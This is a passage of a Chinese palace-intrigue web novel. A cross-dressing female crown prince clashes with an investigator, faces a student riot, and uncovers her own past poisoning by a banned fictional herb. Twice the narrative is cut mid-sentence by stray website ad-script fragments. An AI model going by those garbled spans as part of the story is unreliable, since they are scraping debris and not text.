虽都是男人,但太子有不好的前科。 裴承面色不虞地问:“殿下不是只喜欢文弱的吗?” 李相筠慢慢回过味,不禁又震愕又焦躁。 他居然以为她一直盯着看是因为喜欢?谁要喜欢一面墙啊! 李相筠昂首冷漠道:“放心,孤对裴卿绝无兴趣!” 裴承扯过一件搭在立架上的单衣就披在身上,语气怪异提醒:“殿下您流鼻血了……” 李相筠抬手一擦鼻下,眼前发晕。 该死的大补汤,补过头了! 20.问题 李相筠的鼻血止不住地流,看起来惊心动魄。 裴承见状准备再下池子捞他,以免太子就这么轻易流血而亡,传出去难听,还会牵累于他。 但李相筠捂紧鼻子,厉声把他往外轰。 等他真来捞了,那今日这里他们两个必然有一个要横着出去! “殿下确定不要臣帮?” “不用,出去!” 对方生龙活虎、中气十足,确实不像快要昏倒的人,裴承又客套了句“殿下注意身体”,告辞而去。 李相筠在池子里等了会,确定裴承不会杀个回马枪,才气喘吁吁爬出水,摊在玉阶上缓了会,等鼻血止住后一骨碌爬起,飞快擦干头发和身体,再拧掉束胸带的水,骂骂咧咧地裹好胸,穿上两层单衣,推门出去。 裴承早已不在外面。 李相筠抬头望向中庭的天空,竖耳倾听,四周只有风吹树叶的簌簌声以及虫鸟起伏的鸣叫。 除了自然的声响,她的呼吸,再没有别的动静。 扶桑殿好像一座冷宫。 已经很久很久没有听见热闹的人声了。 她又在原地静立了片刻,才抬脚往寝宫走。 夜深,李相筠丝毫没有睡意。 睡不好是正常的,她有太多心事。 今日陆女官的话让她再次意识到自己身份曝露的危机从未消失。 在这大明宫里,除了陆女官之外或许还有人早在多年前就已经知晓了她的秘密,只是因为各种原因一直藏着捏着,没有暴露? 她的性命竟就这样简单地系在一两个她不熟悉且不知道的人手里。 还有裴承,和他成为伙伴无疑是天方夜谭。 李相筠不需要朋友,更不要伙伴,她的身边只有可利用的以及无用的。 现在裴承是可利用的,等到汪正阳一死,玄扇司重创,他也可以是无用的。更何况他所代表的裴家还嫌疑重重,只是她尚没有抓住他们的尾巴。 深夜,翻来覆去的李相筠琢磨了很多,几乎没有怎么合眼。 与此同时盼春园里,裴承刚从一个古怪的梦里醒来。 他盯着自己的手,手指曲了曲。 那触感和体温停留在他指上。 没想到有朝一日他也会做这种梦,而且对方竟还不是个女人。 究竟是他出了问题,还是太子有问题? 半晌,他心道:一定是太子有问题。 / 翌日。 赵河奉汪中尉之命往三清殿赶了一趟。 三清宫除了是圣人闭关修行的地方,也是圣火教众常居之处。 这些圣火教徒奉圣人之命,在此研习仙道,修炼仙丹,也代替了一部分太常寺的工作,掌管祭祀和礼乐。 赵河一进蓬莱殿,就觉得像踏进了仙宫,周围仙雾缭绕,仙音渺渺。 白纱蒙面,罗裙裹身的仙侍们露着一双双妙目,顾盼多情地瞟了他好几眼,为看见一个陌生的宦官而好奇。 赵河不由把头压得更低了,身体半是冷半是热,好像那不存在的根又开始冒芽开花,蠢蠢欲动。 直到里面仙音召唤,“常侍请进。” 赵河冒着一头的热汗,抱裾起身,从仙侍挑起的流光鲛纱帘里躬身进去。 汪正阳叫他来拜见的是圣火教的圣主。 圣火教教主之下有圣主两人,他便是其中之一,外人不知道他的真实姓名,甚至样貌。 他戴着银面具,只有露出的脖颈和手掌能看出来他的皮肤几近苍白,那是长年累月不见阳光的白。 赵河跪在地上说明来意,谄媚地举起双手道:“还请圣主赐香。” 圣主低头专心用竹剔在紫金钵拨弄着什么,连个眼神都没有给他,仿佛没有听见他的声音。 赵河小心翼翼看了左右,仙侍们面色不改,就像是这样的情况再正常不过。 他只好继续跪着,任由时间一点点过去,膝盖越来越疼,犹如一根根针在扎。 圣主摆弄完手中物,终开了口:“汪中尉要这个香,是因为裴家主?” 赵河连忙回:“圣主英明。” 圣主似是笑了声,“汪中尉是个谨慎的人,小璇,去给赵常侍拿香吧。” 小璇从仙侍队伍中走出来,脚步婀娜地行到墙边深色八宝立柜前,从抽斗里取出一只小瓶子,拿到赵河身前。 赵河托着轻飘飘的小瓶子,脸上不由露出疑惑。 “你是在想这小小的瓶子能有多大用处?”圣主看懂他的神色。 赵河口是心非:“小人不敢。” “你过来。”圣主今日心情好,主动招呼他。 赵河起身小步快速挪到圣主身边,看他一直摆弄的紫金钵。 在钵里原来是几只大小不等的小虫,其中一只背部颜色呈暗红色,口器像是锋利的剪子,不断地张合,威慑四方,而它的前面静静伏趴着五、六只蝎子、蜈蚣等毒虫,一动不动仿佛死了,只有圣主用竹剔拨动时,会动上一动。 “我这些虫已经养足了四十九日,每过七日我都会把每个紫金钵里最后存活的一只放到同一只钵里,让它们再厮杀出最后的毒虫。你看谁为王谁为寇,一目了然。” 圣主说话的时候,那只暗红虫子正好发起攻击,它的口器迅速夹住右边的一只黑蜈蚣,前足帮助它撕扯猎物,蜈蚣早已丧失斗志,只能沦为红虫的腹中餐,被一点点撕开吞噬。 赵河为这弱肉强食的场面弄得脸色一白。 “你没听过西南裴家,他们就好比我练的这蛊,甚至还要更凶狠,除李氏皇族服用过他们裴家特供的药,普通人在他们面前难以招架,汪中尉提防点是好事,把那香拿来。” 赵河颤巍巍捧起小瓷瓶,又听圣主吩咐,“打开盖子,撒一点进去。” 赵河小心翼翼撒出一点点,生怕给弄多了,汪中尉那里交不了差。 但这一点也足够让那些瘫软的虫子变得不受红虫威慑,它们开始搓须抖脚,为被困在生死斗里而烦躁游走挪动。 赵河从这些药粉里闻到了一股奇异的药味,不禁道:“这里面似乎有天星草……” 话音刚落,他骤然想起天星草已经是禁药,早被朝廷派兵连烧带刨,消了个干净。 赵河惶恐,连忙跪下,“小人胡说八道,圣主见谅。” “你倒是有个好鼻子,而且还认识天星草?” 听圣主语气不像是生气,赵河诚惶诚恐回:“小人先前在太医署做过几年太医从事,跟随署令见识过……后来得汪中尉赏识才进的内侍省。” 进入内侍省可不是像在三省六部调换那般简单,首先经历的一环就是要去势,若非遇到难以解决的困境,哪个男子心甘情愿受这一刀。 “原来是个会医的,不错。正巧本座近来在为皇后娘娘调制安神香,防伤着凤体,一直仔细斟酌用量,你可帮着来看看。” “小人惶恐医术不精,难担大任。” 圣主道:“能得孙署令赏识,又被汪中尉看上的人还如此妄自菲薄,是瞧不上本座?” 赵河冷汗涔涔,只好答应下来,再不敢推脱。 “对了,天星草乃是大黎禁药,日后万不可再提了。”圣主捧着装满毒虫的紫金钵,笑语轻松。 赵河全身紧绷,赶忙应诺,等出了三清殿,望着远处的重檐叠廊,宫墙深深,赵河忽然想起很久之前师父说过的一句话:“世上药草本无好坏,用对了是药,用错了是毒罢了。” 他的师父和那味天星草都是碰巧撞上了“错了”,所以死了。 那他现在选的又真的是“对了”吗? / 虽在授衣节,朝廷休假但国子监里依然书声朗朗,充斥着各种讨论辩论的声音,热闹如寻常。 李相筠打着哈欠从马车上下来,环视一圈,已经和数名学子对上了眼。 或好奇或恼恨或不屑,这些学子听过许多太子的荒唐事,很难对他生出什么好感,也担心他是来找人寻麻烦的。 不过李相筠今日到这里来,是找人但并非寻麻烦的,谁让姚相这个大忙人总是神龙不见尾,她有事相问,只能亲自来一趟。 “殿下,请随下官来。”国子监长吏听清他的来意,赶忙引路,生怕他多瞧一眼,就会惹是生非。 “太子殿下?”飞星的声音大老远传来,李相筠回头就看见裴承一行人渐行渐近。 “你们怎么在这?” 飞星快人快语:“我们正在紧锣密鼓地查案,可没有跟踪太子。” “查案?”李相筠看向裴承。 他今日穿着齐整的紫色公服,仪表堂堂,但是李相筠脑子里却浮现了他这层皮下另一副模样。 沾着水珠,被热雾熨红的赤身.裸.体还有她那不合时宜流下来的鼻血。 那时候只空白一片的脑海里没有“解释”二字,所以错过辩解的最好的时机,还不知道在裴承的心里她的荒唐又添写了几笔。 李相筠下意识抬指往鼻下一蹭,但这个反应做出来的时候,她心底的怒火就旺上了一分。 “哦。”她飞快把头扭到一边,对身边等候的人道:“不打搅裴少保公事了,我们走。” 裴承这时候开口:“殿下是来找姚相公?” 上次他说过黄监丞和姚相公有关系,太子定还是在追查黄监丞的下落。 ”怎么,姚相公也牵扯进裴少保的案子里?”李相筠语气不善。 “姚相公是帝师,是国土无双,高风峻节的文士,自是不可能牵扯到这小小命案里。” 听见“帝师”二字,李相筠胸口一阵窒闷,合情合理怀疑裴承专门叫住她就是为了奚落她这一下,因为姚相公自请卸任不再担任太子太傅。 “小小命案?” 李相筠才不信他说得轻巧,冷讽道: “区区小事还需要堂堂大理寺卿亲自出马?” “臣向来喜欢亲力亲为,就像殿下一样。”他的眼神往下,浅笑温和,十足地贴心:“殿下的伤好些了?” 那把匕首刃口很薄,裴承出手时又很干脆,所以伤口虽深但是口子很细,表面早愈合了,只是里面时不时还因为她的动作牵扯到痛 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 不过李相筠还是笑,轻松道:“不劳裴少保关心,小伤而已。” 两道争执声从墙后传来,打破两人的对峙。 “我看你们才是鬼迷心窍,忠孝全不要了,还算是个人吗?” “变革是必然的,我们都是蝼蚁,在天势面前全是螳臂当车!顺应天势才是我们该做的事。” “天势会叫你们泯灭人性,天势叫你们忘记廉耻,天势叫你们唯我独尊,什么狗屁天势!你们就是那歪魔邪教的走狗!” “好啊,你敢说圣火教是歪魔邪教,走,咱们去圣人面前说道说道,当初若非圣人顺应天势,你我哪有今日,只怕还在田里埋头插秧,你满口仁义道德,却不知道感恩,虚伪小人!” “你说谁是虚伪小人,我们读书启蒙,科举考试为的是天下黎民,为的是大黎的繁荣与昌盛,岂是你们口里的天势!” 李相筠眸光微压,大步跨进院门,先见到对着院门的廊下,身着便服的姚相公正与一名老者对坐在矮几两侧,院中几十来名国子监学子,泾渭分明地分列两边,只是少的那边只有区区四人。 “太子殿下,裴少保。”老者率先站起来,向两人施礼,“让两位见笑了。” 学子们纷纷把目光转到他们身上。 无论是质疑的还是憎恶的,李相筠从不畏惧,径直从中间穿了过去。 姚相公起身拱手道:“殿下。”又对旁边的裴承作揖,“裴少保。” 裴承和与他们一一见礼。 “刚在外面就听见诸位的争论。” 李相筠转身迎着众学子的面,单刀直入,“有言道:’其政闷闷,其民淳淳,其政察察,其民缺缺。’倘若诸位有能之士将来能进入朝廷,为圣人效力,同治大黎,必要知道有因就会有果,你们口里喊着天势使然,要你们抛弃礼法,枉顾尊卑推行共治,他日你们治理下民也会有人抗而不遵。无序则生乱,乱必兵结祸连。其心既野,国将不国!” 这一番话说下来,姚相公首先侧目。 一直以来他认为李相筠天资不足,行事狂妄不知收敛,却不知她心底一直把怀贤太子教的话好好记着。 “其政闷闷,其民淳淳,其政察察,其民缺缺。” 当初他也是这样告诉怀贤太子,可他虽理解其含义却无法做到。 他心急,急于改变现状,而这些要了他的性命。 姚相公垂下眼睫,低头看着杯子里涟漪晃碎了他的愁绪与不甘。 李相筠的话落,一时四下无声。 她继续道:“孤竟是不知,国子监如今教得竟都是这些。” 旁边的国子监卢祭酒连忙道:“下官惶恐。” 下边有学子大胆站出来,“太子殿下,如今大黎国力昌盛,正是百花齐放的时候,我等学子只是理念不同,互相切磋,难不成殿下以为一部儒典就能千秋万代,再不肯思进取?” 旁边不断有附和声响起。 “思进取不是坏事,但孤看你们不是好人。”李相筠冷笑。 她为什么一定要在殿试上拥有话语权,就是为的阻挠这一批学子进入朝廷。 她厌恶圣火教,因为它一句话,她这一生都在泥淖之中,挣扎不出。 更恨那不知道从何来的火,让太子皇兄十年的努力付之一旦。 “即便是太子,也断没有这样侮辱人!” 学子们群情激奋,邓谦和几名执金卫手压着刀,形成人墙,挡在太子之前。 “对储君无礼者杖十下羁十日,谁敢上前!” 谁知邓谦这一声呵斥,学子们反而更加愤怒甚至疯狂,手里拿的书或者袋子,要不干脆脱了鞋往上面丢。 “储君无德!” “太子狂妄!” “废储君!废储君!我们要上书废储君!” 这便是他们口里的自由,是可以对皇族、世族的大胆出击。 要搁在十几年前,这样离经叛道的人早被唾沫淹死,但现在,他们以此为荣。 李相筠将视线瞟向裴承,裴承面上还挂着浅笑,无动于衷。 刚好面前一只臭鞋子突出重围,她想没想,截住就往裴承的脸上一丢,成功看见他嫌恶地变了脸色,她顿时在这场闹剧里大笑起来。 好像这是件好玩的事。 只是好玩? 裴承蹙了蹙眉头。 这太子巴巴地爬到这个位置上,就是为了让人唾骂,让别人指着他鼻子说荒唐,让帝师看不过眼请辞,让世人看他的笑话和热闹? 这时,太子犹嫌混乱不够,在里面恶劣地添油加醋:“有孤在一日,尔等一个也别想爬上来!” 这下学子们都气疯了,引章据典地骂他。 还有人跳起来指他鼻子道:“你不如怀贤太子远矣!” 裴承目光扫去小太子脸上。 秋阳温和,日光发白,黄叶都已褪去了鲜艳的色彩,屋檐下的阴影盖过李相筠半张脸。 那脸上惊讶、茫然,但还有一些怪诞的——欣喜。 就好像这些辱骂是对他无上的褒奖。 21.兄长 一个人的消失从死亡开始,到遗忘终止。 三年里,李相筠通过很多途径去找皇兄存在的痕迹。 但渐渐的,很少再听见人提起他。 甚至他制定的一些政策也被忽略、修改,直到面目全非。 她一次次失望。 皇兄曾经帮助过那么多的人。 顺势之时,来锦上添花的人多如牛毛,逆势之际雪中送炭的人寥寥无几。 他们心照不宣地把往事掩盖,就像他们嘴里常挂着那句话“人总要往前看”。 做一个人人称赞,宽容厚德的储君有什么用呢? 即便死得蹊跷,也没有人在意。 因为他们要往前看,断不会为一两个短命的可怜人而停留,回望。 在执金卫的强压之下,这些手无缚鸡之力的学子们最终没能伤到太子一根寒毛。 祭酒也怕事情闹大,马上以严厉的禁闭处罚轰散了聚集的学子。 春闱将近,冷静下来的人才想明白在这个关键时候惹事,得不偿失。 李相筠洗干净手,坐在姚相公面前。 “知道黄拙原本身份的人不少,其实也算不上什么大事,殿下若要问,老臣也会如实以告。”姚相公低头研究棋盘上的残局,对于李相筠抛出来的问题轻描淡写过去。 可实际上,若非裴承查出,她也不知黄监丞会与堂堂姚相公有关联,更遑论来问他。 李相筠没有心情看棋,伸手按住棋盘,“一个人连姓名都要舍弃,还不是大事?姚相公和皇兄为何要帮他做这样违背律法之事?他到底是遇到了什么事,又为何非要针对于我?” 姚相公的视线终抬了起来,缓缓道:“有些事情,太子没有告诉殿下,便是不想殿下知情,殿下还要问下去,就不怕发现你心中的那个人也不一定做的都是能站在光下的事。” 在他的口里,始终还是把怀贤太子称为太子,把李相筠叫做殿下。 李相筠有些生气道:“老师分明知道些什么,却从不同我讲,宁可看我胡乱碰壁。” 他们到底也是有过一段师徒情意,虽然在姚相公心里,他真正的徒弟只有一个。 可是李相筠还是真心实意喊他老师。 “殿下已经坐到了这个位置,应该思量的是如何坐稳它,你听外面的风声,已经呼啸而来,枯黄的叶子挂不住枝头,只能随风而去。”姚相公捻起刚飘零到棋盘上的黄叶,越过它,看向那兀自气愤的李相筠。 李相筠直身而立,隔着残破的枯叶对上那双精明防备的眼睛,声音冷了下去:“老师,你也不信我不愿意坐在这个位置上吗?” 姚相公又垂下了眼睛,抬手拢起披在肩头的披风,轻轻叹息了声。 “老臣信也好,不信也罢,对殿下而言并无区别。殿下是个有主意的人,想要做什么也从不考虑别人的想法,太子当初不让殿下杀吕石,殿下也杀了,为了不让汪正阳腾出手对付殿下,太子煞费苦心。殿下说是冲动之下,老臣看非也,殿下早想杀吕石,但苦于深宫之中没有人能够兜底。汪中尉如日中天,而殿下却弱小无助。唉,太子的致命缺陷在于心软,他一看见殿下的模样就想起安城公主,自然什么都肯为殿下兜着。” 李相筠眼睛微微泛红,既没有回应也没有反驳。 姚相公捂嘴咳嗽几声,又哑声道:“殿下应该往前看,前路尚坎坷,何必回头看泥泞?” 瘦小的书童前来扶姚相公,两人在渐起的秋风中往外走。 李相筠站在阶上,风展开她袖袍,就像是一枚挂在树梢,摇摇欲落却挣扎不去的轻叶。 她面朝姚相背影大声说:“泥泞我要填,坎坷我也会过,我这一生稀里糊涂来,绝不会稀里糊涂去!” 姚相公驻足微侧了头,但是并没有真的把视线转回李相筠的身上,只是一个下意识回望的动作。 片刻,他摇了摇头。 “太子不会想看见殿下如今的模样。” 这路太难走,他要受很多苦。 太子是不想看到他再受苦。 姚相公随后又自嘲一笑。 可是,这世上有几个人没有在受苦。 人人都有自己的炼狱要熬着啊。 / 与姚相见完,李相筠在国子监瞎逛了许久,又逮着几个不顺眼的学子骂了一通,才把郁闷的心情舒缓开。 恰在这时,撞上还在为查案奔走的裴承一行人。 李相筠想起李柏寒说过的话,抬脚便靠了过去,问道:“裴少保可是查出什么来了?” 裴承不答,反而问起:“殿下与关娘子相熟,可有办法引荐?” “你要查关娘子?这事与她有关系?” “殿下答应引荐,臣也可以透露一二。”他给出条件。 现在大理寺里没有了陆展,李相筠很难再探查到案子的线索。 “可以。” 宣阳坊多是达官显贵居住,关侍郎的府邸就在东北角,邻接东市。 门房认识太子,只是稍微惊讶了下就答应去里面通传。 在门口花厅等候的时候李相筠捧着茶道:“幸好今日关侍郎不在。” “殿下与关侍郎也有矛盾?” “你这个‘也’字让人听了不快,孤岂是随便惹是生非的人?” 裴承从善如流:“那想必是关侍郎惹了殿下。” 李相筠哼了声,“他太小心关娘子了,仿佛他妹妹是纸糊的菩萨,都恨不得建个神龛供起来。” “听闻关家亲族都被流寇所杀,家中只有兄妹二人相依为命,关侍郎心疼妹妹,小心些也是人之常情。” 李相筠忍不住道:“你又懂?好像自己也有个妹妹似的。” “臣没有,但是听说过。”裴承道:“天下做兄长的大概都是这样操心的吧,提起妹妹总是心疼怜惜,恨不得把世上最好的东西都给她。” 李相筠以为已经平复好的心情又泛起了涟漪,她偏头去看院子中怒放的秋菊,眼睫快速眨动了几下,随口搭了句:“或许是吧。” “多谢郡主来看我们娘子,郡主您走好啊。” 花厅前方的小径上,刚刚迎他们进来的门房送着娇客离开,又转到他们面前,来请他们入内。 李相筠问:“郡主所来为何事,缘何瞧着面上带着忧思?” 家中主子不多,下人更是少,门房对家中的事情了若指掌,所以很快也露出了一副惆怅的模样,说道:“是先前我们娘子她老毛病犯了,侍郎请来了好几个大夫都不能缓解,幸亏之前郡主来拜访时说她在道观里跟着师父学过几年针灸,娘子就请她试了一试,这不,病情果然好了许多,这次郡主路过便进来看了眼。” “郡主居然还学了医术。”李相筠又道:“关娘子的病似乎总是时好时坏,关侍郎一有机会就会到处寻访名医,竟没有一人可以治好?” 门房摇摇头,“听说是缺了味药,所以治不好。” “小荣,今日怎么客来客往的,我要的桂花水是不是还没买?” 这时一位身段纤细,模样文秀娘子倚着花廊柱子朝他们打量。 小荣走上前一步,躬身行礼,赔不是,“对不住了柳娘子,今日的事情有些多,晚些奴一定去。” 柳娘子哼了声,目光从李相筠和裴承两人脸上慢吞吞收回,才扭着腰往内院去,扔下一句嘀咕:“就她的事多,成日病殃殃地装给谁看。” “真不知道那么多桂花水她都用到哪里去了,难不成拿来洗头发了?”小荣忍不住嘀咕了声,又不好意思介绍起来,“哎!柳娘子是我们家主的侍妾,人没有什么坏心眼,就是嘴巴毒了些。” “关侍郎这么大还没有娶妻?” 小荣委婉道:“我们家主先前也相看过几户人家,但都是缘分未到。” 关家的宅子并不大,没走多久,小荣就把两位客人送到了地方,一处三面轩窗俱开,光线通透的屋子。 关娘子二十七八,因为病弱的缘故,身形纤瘦,一截素白的手腕上,青脉蜿蜒,十分显眼。但是病态并没有折损她独特的风韵,就像是秋菊夏荷,清雅娟秀,让人看之不忘。 此时,她正站于梨花木壶门圈口大平桌前,抬笔作画,神情专注,都没有注意到门口的动静。 裴承看向李相筠。 李相筠已经轻车熟路地找了把离画案远的圈椅坐下,自顾自地翻杯子倒茶。 裴承与他隔着方茶几坐下。 小荣匆匆退下,想必是急着给那位柳娘子买桂花水去了。 等关娘子提笔观赏时才发现还有两位客人,脸上一红,连忙放下笔,欠了欠身,“妾失礼,许久没有摸笔,一时手痒就忘乎所以了,殿下久等了。” 李相筠摇摇头,“关娘子画痴之名长安谁人不知,倒是我们俗人扰兴。” “殿下说笑了。”关娘子把目光往旁偏了偏,问:“这位上官是?” 裴承起身,拱手:“某不才,大理寺卿裴承,因一起案子,有几处问题想要询问关娘子,望不吝赐教。” 关娘子怔了下,道:“原来是裴少保,上官不介意妾坐下吧?” 她满脸疲色,像是病中还没康复。 “关娘子并非疑犯,当然可以坐下回答。”裴承自个也坐了下来,显得平易近人。 关娘子慢慢坐到椅上,左手搭在右腕上,不仔细看,瞧不出她的手腕有些颤动。 “市井中有些传闻,说是关娘子的画会杀人,这当然是无稽之谈。不过三名死者确有一个共同点就是他们都十分喜欢关娘子的画,手上或多或少都收有几幅,关娘子的画平时是怎么售卖的?” “东市有间石心砚的铺子,掌柜与兄长相识,妾的画都是挂在那售卖。” 李相筠点了点头,道:“孤与关娘子也是在那认识的,石心砚还是东市最好的装裱铺,很多人的古画修复也会送到这里。” 裴承看了眼太子,又问:“那关娘子的画一般定价多少?” “妾的画没有固定价钱,只要有缘,出一铜钱也卖,若是无缘千金不售。” “若怎样才算是有缘?” 关娘子笑道:“说出来就不算缘了。” 这就是不肯细说,免得坏了规矩。 裴承示意飞星把带来的画轴捧上来,放在关娘子的桌上。 “这幅画,关娘子仔细瞧瞧,可是你画的?” 李相筠起身,隔着画案一起看向那副画。 这是苍山覆雪之图,峥嵘峭壁上青松兀自昂首,一轮旭阳正挂在山巅青松之上,金光万千,气势磅礴,山下小小的蓑衣旅者牵驴回望,平添生机与趣味。 关娘子看得很仔细,半晌后道:“这幅画是妾所绘……” 裴承打断她:“关娘子确定是自己画的,没有什么错漏之处吗?” 他走到李相筠身侧,伸指在画上点了点一个地方,“这里,是不是少了什么?” 关娘子唇瓣颤了颤,反问:“裴少保以为少的是什么?” 裴承道:“初见这幅画的时候,画主还在沧浪阁炫耀,新得了关娘子的大作。” “与孤有什么干系?”见裴承看向自己,李相筠莫名。 “殿下不知道,正是与臣斗酒的那晚,臣就见过这幅画,虽在远处,但是关娘子的颜料里有增辉的贝粉,所以被烛光照得熠熠生辉,而这里——藏在山脚乱石里有几笔走势奇特的石头。”裴承拿起笔架上的小狼毫,在砚台里沾了沾,往试色的宣纸上先画了三笔,再转腕在里面画了个圈。 “臣想,这不和谐的一处是关娘子有意画上去的吧?” 关娘子望着裴承的脸,神情里莫名有些失望。 “这东西有些眼熟……” 李相筠也在打量了那个类似符号的东西,蹙起眉。 “殿下见过?”关娘子这便转头问他。 李相筠又摇摇头,“没有印象,不过,关娘子自己画的难道也不知道吗?” 关娘子垂下了眼睫,轻声道:“妾也不清楚,不瞒两位,妾作画时会把从前见 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 过的东西无意识画下去,就会使得画面莫名有些不和谐之处。” 她略带讽意地笑了下,“大多的人只知妾名声在外,盲目追崇,却不知妾也有失误的地方。” “所以能找到不寻常处的,便是关娘子的有缘人?”裴承道。 关娘子这次轻点了下头,又说:“不过这个与上官要问的事情有什么关系?只是一些普通的颜料和贝粉,总不至于会害死人,请看,这里就是妾平日里用的。” 颜料大多都是从植物、矿石里提取制作出的。 比如藤黄是从海腾树皮、胭脂是从红花或珊瑚石等。 关娘子所用的也并无稀奇之处,关侍郎如此心疼妹妹,肯定也不会让她接触有毒之物。 从颜料用具下手无用,裴承又问:“关娘子既知道这幅画并非出自自己之手,为何要说是自己所绘?” “鄙妹有头疾,记性不大好。”一道声音从后方传来,替关娘子回答。 只见一位穿黛青圆领袍的男子大步走进,他就是户部侍郎关博。 “常有人模仿鄙妹的画作在黑市上流通,大赚一笔,无论笔触和色彩都模仿得以假乱真。” “还有这等事。”裴承微微一笑,“看来确有人别有用心要对付这位关娘子。” 关博拱了手,“多谢裴少保提点,下官一定会倍加小心。” 随关博进来的婢女拿来了件披风给关娘子加在身上,提醒:“娘子这里风大,小心头风犯了。” “好。”关娘子顺势站了起来,飞星上前收画轴。 李相筠又回头看了眼画案,那张试色纸已经不见踪迹。 “娘子你的手……”婢女压低的声音了过来。 李相筠目光一偏,就见到关娘子匆匆用把袖子捂紧手腕,她只瞥见了一块红色的斑,脑海里轰得下想起什么,但转瞬她就对上关博瞬也不瞬的注视。 他送客道:“殿下,请吧。” 裴承亦看着,她没法在这个时候开口,只有心底兀自翻江倒海。 天星草毒?! 三年前在皇兄的尸身上她似乎是看见了,但因为只有很短时间的一眼,又被圣人一巴掌打懵。 随后沈统领的否认,验尸单的未有异样,她的所见究竟是不是真的? 天星草这种药草十分特殊,果实种子有剧毒,根茎却是其解药,早在正元十八年此药就被列为三禁药,应该早已经不复存在了。 这次,也看错了眼吗? “关娘子的病好些了吗?”李相筠问关博。 关侍郎客气道:“一直不好不坏,不妨事,谢殿下关心。” 中了天星草毒的人没有活过三个月的,三个月若是解不了毒,人必死无疑。 关娘子身患弱疾已久,远超三个月,这也对不上。 关侍郎没想留客,把他们送到门口就转身回去。 “殿下怎么魂不守舍的,难道是想到了什么?” 裴承的声音唤醒了李相筠。 “没什么,孤还有事,先行一步。”李相筠还是心存疑惑,也懒得应付裴承,带着人匆匆离去。 当夜含光门西侧太医署,档库。 李相筠左手侧跟着陆展,右手边带着邓谦。 “殿下……您想看什么,叫人送来就是,我们当真要偷溜进去?” “你不是已经拿了钥匙吗?妨着那署令又多嘴,坏我好事,还是偷偷拿了好,我就看一眼,不会有事。” 好在这样的事情,他们从前还在国子监的时候就配合干过不下几十次,只是多数是为了看被藏起来的禁书。 李相筠都这样说了,陆展只好舍命陪君子,开了库门随他进去。 邓谦留外边放哨。 李相筠早已摸清档库的布局,当年长安所有部门的档库都被怀贤太子重新调整过,不但要求他们按类型分区还要分年份收归,被迫重描过布置图纸的她,因祸得福,现在找起东西来事倍功半。 太医署里负责不同症状,譬如体疗、小儿、耳目口齿之类的医士各有不同,能看毒的只有那么几个。 李相筠还记得正元十八年,皇宫中有数百人因为天星草而亡,最初被人误诊为瘟疫,弄得人心惶惶,后来一名专门研究毒草的医士翻看了古书,才找到了天星草。 “就是这个了。”李相筠找到了一册医案,上面写了正元十七年-正元二十二年,毒药科。 陆展为太子提着灯笼,用身体将光挡在太子与书架之间,好让他能够看清书上的字。 李相筠一页页翻去,手指在那些潦草的字迹上滑过。 “患者皮肤布满星状红斑,面部少,四肢躯干集中,头疼发热恶心,不利于行,神魂失智……天星草毒。” “臣记得当年圣人就下旨,把天星草归为禁药,不许种植,见之必拔根焚烧,销毁殆尽。”陆展说道。 李相筠点了点头。 “那时候……” 她刚起了个头,似乎是下意识有话要接,但忽然就想不起自己要说什么。 她只得止住话,又翻过去一页。 正元十八年间因天星草而死的患者多数都在这本医案里,当时的医士迟迟没有找到治疗的法子其实在于天星草的根部。 中毒者上到宫妃下到宦官,并无相通之处,就好像一股难以捉摸的疫病随风传播开了。 正元十八年,因天星草而死的人记录在案有两百七十三人。 正元十九年,十七人。 正元二十年,历经两年,这时候天星草已被彻底铲除,包括各地药铺医馆的库存,既没有能使人中毒的花果也没有能够解毒的根茎。 医士记载的也都是些杂七杂八的毒症,大多是食物摄入不当引起的症状,再没有出现过天星草毒。 一页页快速翻过,李相筠的目光忽而被一行字牢牢抓住。 正元二十年春四月。 太子召,皇七子高烧不退昏迷一日,手臂上浮星状红斑。 诊,天星草毒,危症。 22.刺痛 正元二十年,四月。 天星草毒,危症。 李相筠满脑子都是空白。 她竟中过天星草毒。 天星草并未彻底消失,它真的出现过。 李相筠努力想理清思绪,但脑海里一遍遍闪过冰棺里皇兄苍白的皮肤,那如梦魇一样的画面让她身体不由发颤。 她没有看错。 “殿下?你还好吗?” 李相筠回过神,又看着纸上的字。 四月,四月她在做什么? 三月她还记得自己刚学会骑马,太子皇兄送了一匹雪白的小马驹给她,她爱不释手,几乎要睡到马厩天天陪着自己的小马。 四月圣人应是准备摆驾洛阳观看牡丹,宫妃、太子都应该随驾前往。 她看了牡丹吗? 李相筠问陆展,“昭云,我去了洛阳吗?” 陆展摇了摇头,“殿下你不记得了吗?圣人摆驾洛阳,太子留下监国,殿下您也留在了长安……” 他那时候正陪着陈皇后欣赏洛阳的牡丹盛放,还遗憾七殿下没能欣赏到美景。 李相筠又低头看着医案上的记录。 上面只写了对她的诊断,却没有写如何治疗。 天星草毒唯有其根茎可以解毒,整个太医署都翻不出半根天星草来,又如何为她解毒。 但三个月后她也没有死。 那,她的毒是怎么解开的? 陆展虽然没有失忆,但也知之甚少,迟疑一下,才道:“臣听人偷偷说过,当年怀贤太子奉命在长安监国,但却隐瞒行踪跑去西南了一趟,为此怀贤太子才被圣人斥责,禁闭东宫一月。” 为着太子的颜面,被斥责的原因并未公之于众。 西南有裴家为首的世家大营,军事重地最忌讳与中央朝廷高官有密切往来,更遑论当朝储君。 太子这一去,落到有心人嘴里,能编排出什么来,可想而知。 “皇兄并未跟我说起这些……”李相筠把医案上记录的内容重复看了几遍,深深印入脑海后把册子合上,放回原处。 她忽然又想起姚相的话。 倘若皇兄当真做过不好的事情呢? 他与裴家到底是个什么关系,圣人对此避讳不谈又是什么原因? 这时外面夜枭长啸,李相筠不急思索反应道:“有人来了。” 陆展把蜡烛吹灭,突然抓住李相筠的手臂,道:“殿下跟臣来。” 档库一般有前后门,陆展以前为查案时也常来,但是不赶巧今日后门外落了锁,推不开。 李相筠指了指蒙上一层月光的窗户,示意跳窗出去,但是这时候档库的门已经被打开。 隔着数十个架子,几道光晃了进来。 李相筠干脆站起身,竟想着就这样出去,陆展连忙扯住他摇头,让他藏在这角落,自己提了灯笼迎上去。 他先发制人:“什么人!……赵内侍,这个点怎么来这?” “这话应该是我问你吧,陆昭云你这个时分竟然还逗留在皇城之中,不要命了!” “两位稍安勿躁,好好说话。” “这位是……?” 赵河毕恭毕敬介绍:“这位是圣火教圣主,为皇后娘娘调理头疾而来,要翻看一下医案。” 